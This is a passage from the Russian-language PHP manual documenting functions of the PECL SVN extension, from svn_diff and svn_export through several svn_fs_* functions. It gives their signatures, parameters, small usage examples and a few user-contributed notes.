При true файл будет удалён даже, если в нем есть локальные изменения. При false локальные модификации вызовут сбой при выполнении операции. По умолчанию false

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • » SVN-документация по svn delete

User Contributed Notes

There are no user contributed notes for this page.


Рекурсивно показывает различия двух файлов

  • « svn_delete
  • svn_export »
  • PHP Manual
  • Функции SVN
  • Рекурсивно показывает различия двух файлов

svn_diff

(PECL svn >= 0.1.0)

svn_diff — Рекурсивно показывает различия двух файлов

Описание

svn_diff(
string $path1,
int $rev1,
string $path2,
int $rev2
): array

Рекурсивно показывает различия двух файлов path1 и path2.

Замечание:

Это не инструмент просмотра общих изменений. Могут быть просмотрены различия только локальных файлов, которые находятся в системе контроля версий SVN : для других файлов различия просмотреть не удастся.

Список параметров

path1

Первый путь. Это может быть URL файла/директории в репозитории SVN или путь к локальному файлу/директории.

Замечание: Относительные пути будут вычислены, как если бы текущая рабочая директория являлась домашней папкой самого PHP. Чтобы использовать рабочую директорию вызывающего скрипта, используйте realpath() или dirname(__FILE__).

Внимание

Если путь к локальному файлу состоит только из обратных слешей (\), без слеша (/), данному модулю не удастся найти необходимые файлы. Всегда заменяйте все обратные слеши (\) на слеши (/), используя эту функцию.

rev1

Номер ревизии первого файла. Используйте константу SVN_REVISION_HEAD для задания самой последней ревизии.

path2

Второй путь к файлу, аналогично path1

rev2

Номер ревизии второго файла, аналогично rev1.

Возвращаемые значения

Возвращает список массивов состоящий из двух потоков: первая - различия файлов; вторая - ошибки. Потоки могут быть прочитаны функцией fread(). При ошибке возвращает false или null.

По умолчанию, вывод различий будет в стандартном формате Subversion, но также может использоваться » внешним инструментом показа различий, в зависимости от настройки Subversion.

Примеры

Пример #1 Простой пример

Пример ниже иллюстрирует простое использование данной функции и получение данных из потока.

<?php
list($diff, $errors) = svn_diff(
'http://www.example.com/svnroot/trunk/foo', SVN_REVISION_HEAD,
'http://www.example.com/svnroot/branches/dev/foo', SVN_REVISION_HEAD
);
if (!$diff) exit;
$contents = '';
while (!feof($diff)) {
$contents .= fread($diff, 8192);
}
fclose($diff);
fclose($errors);
var_dump($contents);
?>

Результат выполнения данного примера:

Index: http://www.example.com/svnroot/trunk/foo
===================================================================
--- http://www.example.com/svnroot/trunk/foo        (.../foo) (revision 23)
+++ http://www.example.com/svnroot/branches/dev/foo (.../foo) (revision 27)
 // остальный вывод diff

Пример #2 Вывод различий между двумя ревизиями одного файла

Этот пример показывает как реализовать функцию-обёртку, которая позволяет пользователю просматривать различия между двумя ревизиями одного файла, используя внешний путь репозитория (стандартный синтаксис такой реализации несколько избыточен):

<?php
function svn_diff_same_item($path, $rev1, $rev2) {
return svn_diff($path, $rev1, $path, $rev2);
}
?>

Пример #3 Более удобный способ вывода различий между двумя файла

Этот пример показывает как реализовать функцию-обёртку для вывода различий между двумя локальными файлами, которая является переносимой и лишена ошибок при работе с функцией realpath() и обратным слешем.

<?php
function svn_diff_local($path1, $rev1, $path2, $rev2) {
$path1 = str_replace('\\', '/', realpath($path1));
$path2 = str_replace('\\', '/', realpath($path2));
return svn_diff($path1, $rev1, $path2, $rev2);
}
?>

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

Смотрите также

  • » SVN-документация по svn diff

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует содержимое директории SVN

  • « svn_diff
  • svn_fs_abort_txn »
  • PHP Manual
  • Функции SVN
  • Экспортирует содержимое директории SVN

svn_export

(PECL svn >= 0.3.0)

svn_export — Экспортирует содержимое директории SVN

Описание

svn_export(
string $frompath,
string $topath,
bool $working_copy = true,
int $revision_no = -1
): bool

Экспортирует данные как из рабочей копии, так и из репозитория в 'чистую' директорию.

Список параметров

frompath

Путь к текущему репозиторию или к рабочей копии.

topath

Путь к "чистой" папке для экспорта.

working_copy

При true из рабочей копии будут также экспортированы неотправленные в репозиторий файлы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования svn_export()

<?php
$working_dir = '../';
$new_working_dir = '/home/user/devel/foo/trunk';

svn_export($working_dir, $new_working_dir);
?>

Смотрите также

  • svn_import() - Импорт пути без версии в репозитории

User Contributed Notes

Magnum 22-Sep-2014 09:56
To checkout a single file at a particular version use svn_cat .
cleung at draper dot com 31-May-2011 08:15
This functionality is very different from the actual command line svn export url [-rRevision]

If you are thinking about checkout out a single file at a particular version, keep looking because this export can not perform that functionality.


Отменяет транзакцию

  • « svn_export
  • svn_fs_apply_text »
  • PHP Manual
  • Функции SVN
  • Отменяет транзакцию

svn_fs_abort_txn

(PECL svn >= 0.2.0)

svn_fs_abort_txn — Отменяет транзакцию

Описание

svn_fs_abort_txn(resource $txn): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Отменяет транзакцию.

Список параметров

txn

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт и возвращает поток, который будет использован для замены

  • « svn_fs_abort_txn
  • svn_fs_begin_txn2 »
  • PHP Manual
  • Функции SVN
  • Создаёт и возвращает поток, который будет использован для замены

svn_fs_apply_text

(PECL svn >= 0.2.0)

svn_fs_apply_text — Создаёт и возвращает поток, который будет использован для замены

Описание

svn_fs_apply_text(resource $root, string $path): resource
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Создаёт и возвращает поток, который будет использован для замены.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую транзакцию

  • « svn_fs_apply_text
  • svn_fs_change_node_prop »
  • PHP Manual
  • Функции SVN
  • Создаёт новую транзакцию

svn_fs_begin_txn2

(PECL svn >= 0.2.0)

svn_fs_begin_txn2 — Создаёт новую транзакцию

Описание

svn_fs_begin_txn2(resource $repos, int $rev): resource
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Создаёт новую транзакцию.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает true, если операция прошла успешно или false в противном случае

  • « svn_fs_begin_txn2
  • svn_fs_check_path »
  • PHP Manual
  • Функции SVN
  • Возвращает true, если операция прошла успешно или false в противном случае

svn_fs_change_node_prop

(PECL svn >= 0.2.0)

svn_fs_change_node_prop — Возвращает true, если операция прошла успешно или false в противном случае

Описание

svn_fs_change_node_prop(
resource $root,
string $path,
string $name,
string $value
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает true, если операция прошла успешно или false в противном случае.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, какая сущность находится в пути репозитория fsroot

  • « svn_fs_change_node_prop
  • svn_fs_contents_changed »
  • PHP Manual
  • Функции SVN
  • Определяет, какая сущность находится в пути репозитория fsroot

svn_fs_check_path

(PECL svn >= 0.1.0)

svn_fs_check_path — Определяет, какая сущность находится в пути репозитория fsroot

Описание

svn_fs_check_path(resource $fsroot, string $path): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Определяет, какая сущность находится в пути репозитория fsroot.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает true, если содержимое отличается или false в противном случае

  • « svn_fs_check_path
  • svn_fs_copy »
  • PHP Manual
  • Функции SVN
  • Возвращает true, если содержимое отличается или false в противном случае

svn_fs_contents_changed

(PECL svn >= 0.2.0)

svn_fs_contents_changed — Возвращает true, если содержимое отличается или false в противном случае

Описание

svn_fs_contents_changed(
resource $root1,
string $path1,
resource $root2,
string $path2
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает true, если содержимое отличается или false в противном случае.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Копирует файл или директорию

  • « svn_fs_contents_changed
  • svn_fs_delete »
  • PHP Manual
  • Функции SVN
  • Копирует файл или директорию

svn_fs_copy

(PECL svn >= 0.2.0)

svn_fs_copy — Копирует файл или директорию

Описание

svn_fs_copy(
resource $from_root,
string $from_path,
resource $to_root,
string $to_path
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Копирует файл или директорию.

Список параметров

from_root

from_path

to_root

to_path

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет файл или директорию

  • « svn_fs_copy
  • svn_fs_dir_entries »
  • PHP Manual
  • Функции SVN
  • Удаляет файл или директорию

svn_fs_delete

(PECL svn >= 0.2.0)

svn_fs_delete — Удаляет файл или директорию

Описание

svn_fs_delete(resource $root, string $path): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Удаляет файл или директорию.

Список параметров

root

path

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Перечисляет элементы директории по заданному пути; возвращает хеш имён директорий и типов файлов

  • « svn_fs_delete
  • svn_fs_file_contents »
  • PHP Manual
  • Функции SVN
  • Перечисляет элементы директории по заданному пути; возвращает хеш имён директорий и типов файлов

svn_fs_dir_entries

(PECL svn >= 0.1.0)

svn_fs_dir_entries — Перечисляет элементы директории по заданному пути; возвращает хеш имён директорий и типов файлов

Описание

svn_fs_dir_entries(resource $fsroot, string $path): array
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Перечисляет элементы директории по заданному пути; возвращает хеш имён директорий и типов файлов.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

qwazix at outofbounds dot gr 08-Feb-2011 07:05
Here is a function that returns an array with the directories in the root of the HEAD revision of a repository, using only the path of the repository.
<?php
    function get_repo_dirs($path){
        if (file_exists($path.'/format'))
        if ($repo = svn_repos_open($path))
        if ($repo_fs = svn_repos_fs($repo))
        if ($head = svn_fs_youngest_rev($repo_fs))
        if ($repo_fs_root = svn_fs_revision_root($repo_fs,$head))
        return array_keys(svn_fs_dir_entries($repo_fs_root,'.'));
        else return false;
    }
?>

example usage

<?php
    var_dump (get_repo_dirs('/home/user/svnrepos/example_project'));
?>


Возвращает поток для доступа к содержимому файла из данной файловой системы

  • « svn_fs_dir_entries
  • svn_fs_file_length »
  • PHP Manual
  • Функции SVN
  • Возвращает поток для доступа к содержимому файла из данной файловой системы

svn_fs_file_contents

(PECL svn >= 0.1.0)

svn_fs_file_contents — Возвращает поток для доступа к содержимому файла из данной файловой системы

Описание

svn_fs_file_contents(resource $fsroot, string $path): resource
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает поток для доступа к содержимому файла из данной файловой системы.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает длину файла из данной файловой системы

  • « svn_fs_file_contents
  • svn_fs_is_dir »
  • PHP Manual
  • Функции SVN
  • Возвращает длину файла из данной файловой системы

svn_fs_file_length

(PECL svn >= 0.1.0)

svn_fs_file_length — Возвращает длину файла из данной файловой системы

Описание

svn_fs_file_length(resource $fsroot, string $path): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает длину файла из данной файловой системы.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Определяет находится ли директория по данному пути

  • « svn_fs_file_length
  • svn_fs_is_file »
  • PHP Manual
  • Функции SVN
  • Определяет находится ли директория по данному пути

svn_fs_is_dir

(PECL svn >= 0.2.0)

svn_fs_is_dir — Определяет находится ли директория по данному пути

Описание

svn_fs_is_dir(resource $root, string $path): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Определяет находится ли директория по данному пути.

Список параметров

root

path

Возвращаемые значения

Возвращает true, если по данному пути находится директория, в противном случае возвращает false.

Примечания

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.